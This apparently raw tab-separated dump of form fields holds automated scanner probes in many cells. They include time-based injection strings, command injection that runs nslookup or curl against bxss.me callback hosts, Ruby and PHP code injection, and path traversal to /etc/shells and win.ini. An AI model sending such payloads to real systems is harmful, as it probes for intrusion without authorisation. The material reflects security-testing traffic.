1	"1""||sleep(27*1000)*icrhlx||"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""&&sleep(27*1000)*hhjzmo&&"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'&&sleep(27*1000)*ogrgmm&&'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	<!--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	<!--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1HQ2XX9FZ0	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""||sleep(27*1000)*dkhbxq||"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	/etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1Z33CT9NX0	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	Http://bxss.me/t/fit.txt	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1BG8D2NQTD0	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	c:/windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	/etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitbvujlumqlv978f6.bxss.me||curl${IFS}hitbvujlumqlv978f6.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbvujlumqlv978f6.bxss.me||curl${IFS}hitbvujlumqlv978f6.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""||sleep(27*1000)*llrmkk||"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;(nslookup -q=cname hitmfderghbolf83d8.bxss.me||curl hitmfderghbolf83d8.bxss.me)|(nslookup -q=cname hitmfderghbolf83d8.bxss.me||curl hitmfderghbolf83d8.bxss.me)&(nslookup -q=cname hitmfderghbolf83d8.bxss.me||curl hitmfderghbolf83d8.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""&&sleep(27*1000)*jfeczy&&"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup -q=cname hitepplkrbczxcaa68.bxss.me||curl hitepplkrbczxcaa68.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&nslookup -q=cname hitqjzvbbkxvke9cf4.bxss.me&'\""`0&nslookup -q=cname hitqjzvbbkxvke9cf4.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&echo fuhjgx$()\ iesqvf\nz^xyu||a #' &echo fuhjgx$()\ iesqvf\nz^xyu||a #|"" &echo fuhjgx$()\ iesqvf\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1Y6A2HX8V0	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1SF3MOMMG0	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1Z83M2N7O0	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	c:/windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	expr 9000219538 - 980999	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"|echo ddszvw$()\ zhqvgd\nz^xyu||a #' |echo ddszvw$()\ zhqvgd\nz^xyu||a #|"" |echo ddszvw$()\ zhqvgd\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"echo deqxxg$()\ yrbwbb\nz^xyu||a #' &echo deqxxg$()\ yrbwbb\nz^xyu||a #|"" &echo deqxxg$()\ yrbwbb\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	!(()&&!|*|*|	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	Http://bxss.me/t/fit.txt	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	/etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitaajnxofzhd07668.bxss.me||curl${IFS}hitaajnxofzhd07668.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitaajnxofzhd07668.bxss.me||curl${IFS}hitaajnxofzhd07668.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""||sleep(27*1000)*sxajtt||"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	^(#$!@#$)(()))******	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitjopzhdjybt89925.bxss.me||curl${IFS}hitjopzhdjybt89925.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||sleep(27*1000)*hqawto||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	!(()&&!|*|*|	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;(nslookup -q=cname hitejxwtdtykqe5ab3.bxss.me||curl hitejxwtdtykqe5ab3.bxss.me)|(nslookup -q=cname hitejxwtdtykqe5ab3.bxss.me||curl hitejxwtdtykqe5ab3.bxss.me)&(nslookup -q=cname hitejxwtdtykqe5ab3.bxss.me||curl hitejxwtdtykqe5ab3.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	`(nslookup -q=cname hitfnqxivakzdfda0b.bxss.me||curl hitfnqxivakzdfda0b.bxss.me)`	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'&&sleep(27*1000)*njczlt&&'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup -q=cname hitpzubtailqia2a46.bxss.me||curl hitpzubtailqia2a46.bxss.me)&'\""`0&(nslookup -q=cname hitpzubtailqia2a46.bxss.me||curl hitpzubtailqia2a46.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&nslookup -q=cname hitcrvtobvusi20b45.bxss.me&'\""`0&nslookup -q=cname hitcrvtobvusi20b45.bxss.me&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&echo tbhioy$()\ lwikcv\nz^xyu||a #' &echo tbhioy$()\ lwikcv\nz^xyu||a #|"" &echo tbhioy$()\ lwikcv\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"echo enzbjy$()\ qoujlf\nz^xyu||a #' &echo enzbjy$()\ qoujlf\nz^xyu||a #|"" &echo enzbjy$()\ qoujlf\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""||sleep(27*1000)*kjqzlt||"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&echo jougxd$()\ ezarjv\nz^xyu||a #' &echo jougxd$()\ ezarjv\nz^xyu||a #|"" &echo jougxd$()\ ezarjv\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||sleep(27*1000)*jvmafc||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""&&sleep(27*1000)*ugrwck&&"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'&&sleep(27*1000)*hyltnr&&'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	^(#$!@#$)(()))******	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	!(()&&!|*|*|	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitihsdaeacemf8e2a.bxss.me||curl${IFS}hitihsdaeacemf8e2a.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitihsdaeacemf8e2a.bxss.me||curl${IFS}hitihsdaeacemf8e2a.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitschemqrlck2b171.bxss.me||curl${IFS}hitschemqrlck2b171.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'A'.concat(70-3).concat(22*4).concat(114).concat(90).concat(101).concat(75)+(require'socket'
Socket.gethostbyname('hitra'+'xbphfuyi58bc0.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;(nslookup -q=cname hitpivelwptex093a1.bxss.me||curl hitpivelwptex093a1.bxss.me)|(nslookup -q=cname hitpivelwptex093a1.bxss.me||curl hitpivelwptex093a1.bxss.me)&(nslookup -q=cname hitpivelwptex093a1.bxss.me||curl hitpivelwptex093a1.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'+'A'.concat(70-3).concat(22*4).concat(102).concat(83).concat(109).concat(86)+(require'socket'
Socket.gethostbyname('hitpl'+'zmzgfylzf707c.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	`(nslookup -q=cname hitncpdexmgre39d4a.bxss.me||curl hitncpdexmgre39d4a.bxss.me)`	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+""A"".concat(70-3).concat(22*4).concat(105).concat(78).concat(109).concat(80)+(require""socket""
Socket.gethostbyname(""hityv""+""ikqpfdco83dc6.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup -q=cname hithgodefwlrae93f0.bxss.me||curl hithgodefwlrae93f0.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup -q=cname hitsekuoyachwb52be.bxss.me||curl hitsekuoyachwb52be.bxss.me)&'\""`0&(nslookup -q=cname hitsekuoyachwb52be.bxss.me||curl hitsekuoyachwb52be.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&nslookup -q=cname hitobaohcmpefd8760.bxss.me&'\""`0&nslookup -q=cname hitobaohcmpefd8760.bxss.me&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	$(nslookup -q=cname hiteuvtvsicit9e14b.bxss.me||curl hiteuvtvsicit9e14b.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(106).concat(76).concat(122).concat(77)+(require'socket'
Socket.gethostbyname('hittf'+'ytakuixo8552b.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(nslookup -q=cname hitkgwvrbogdy1f37c.bxss.me||curl hitkgwvrbogdy1f37c.bxss.me))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'A'.concat(70-3).concat(22*4).concat(118).concat(88).concat(118).concat(69)+(require'socket'
Socket.gethostbyname('hithi'+'flxqvwlmb3eaf.bxss.me.')[3].to_s)"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&echo djmpqr$()\ fycaws\nz^xyu||a #' &echo djmpqr$()\ fycaws\nz^xyu||a #|"" &echo djmpqr$()\ fycaws\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU&n952776=v940531	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1&n981449=v937976	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'A'.concat(70-3).concat(22*4).concat(104).concat(72).concat(101).concat(68)+(require'socket'
Socket.gethostbyname('hitzg'+'dobfsgtjc739e.bxss.me.')[3].to_s)"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(116).concat(68).concat(114).concat(72)+(require""socket""
Socket.gethostbyname(""hitff""+""pktjqiji56131.bxss.me."")[3].to_s)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU&n985654=v905705	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.print(md5(31337)).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}\	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU&n968477=v946777	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'A'.concat(70-3).concat(22*4).concat(102).concat(73).concat(104).concat(79)+(require'socket'
Socket.gethostbyname('hitmu'+'atulbtbvbf73e.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	';print(md5(31337));$a='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""";print(md5(31337));$a="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(109).concat(87).concat(106).concat(77)+(require""socket""
Socket.gethostbyname(""hitdi""+""qyzpsaega71e3.bxss.me."")[3].to_s)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
